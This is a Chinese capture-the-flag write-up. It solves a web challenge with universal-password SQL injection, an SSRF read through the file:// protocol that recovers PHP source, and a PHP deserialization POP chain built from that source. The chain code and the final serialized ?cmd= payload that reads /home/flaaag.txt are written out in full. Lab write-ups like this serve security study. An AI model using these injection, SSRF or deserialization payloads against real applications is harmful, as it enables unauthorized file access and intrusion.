前言
考察sql注入(万能密码),ssrf(file协议),反序列化(pop链构造)
一、题目
二、题解
Part 1
启动环境发现是一个简单的登陆页面
先上万能密码
此处也可以使用sql注入,查询用户表,得到用户名为admin,密码为12345678
Part 2
提示/tmp/hint.php,观察地址栏提示的ssrf以及?path=
尝试使用伪协议发现php://被过滤(www也被过滤)
只能选用file协议来访问文件
在hint.php找到疑似源代码
Part 3
将源代码扒下来整理好格式开始审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <?php error_reporting(0);
class A extends service { public $event; function __construct($event) { $this->event = $event; } function __destruct() { $flag = $this->event["name"]; return $this->$flag(); } } class read { public $filename; function __construct($filename) { $this->filename = $filename; } function __toString() { if (isset($this->filename)) { $res = file_get_contents($this->filename); } else { $res = "nonononono"; } return $res; } } class test { public $file; function __construct($f) { $this->file = $f; } function __get($txey) { echo $this->file; } } class service { public $server; public $str; function __call($method, $args) { if (is_string($this->server->str)) { echo "hello" . $method . $this->server->str; } else { die(""); } } } if (isset($_GET["cmd"])) { unserialize($_GET["cmd"]); } else { echo "now get flag!"; }
|
按照提示访问flag.php
1 2 3 4 5
| if (isset($_GET["cmd"])) { unserialize($_GET["cmd"]); } else { echo "now get flag!"; }
|
在没有传入cmd值得情况下会显示now get flag!
由此确定该源码为flag.php得源码
代码审计初步确认此处应该使用反序列化漏洞构造pop链来访问/home/flaaag.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $age=array("name"=>"pp"); $a=new A($age);
$r=new read('/home/flaaag.txt'); $t=new test($r);
$a->server=$t; echo serialize($a); echo unserialize(serialize($a));
$t=new test($a); $f=new read($t);
$sf=serialize($f); echo unserialize($sf);
|
在本地构造如上pop链后运行得到payload
1
| ?cmd=O:1:"A":3:{s:5:"event";a:1:{s:4:"name";s:2:"pp";}s:6:"server";O:4:"test":1:{s:4:"file";O:4:"read":1:{s:8:"filename";s:16:"/home/flaaag.txt";}}s:3:"str";N;}
|
得到flag!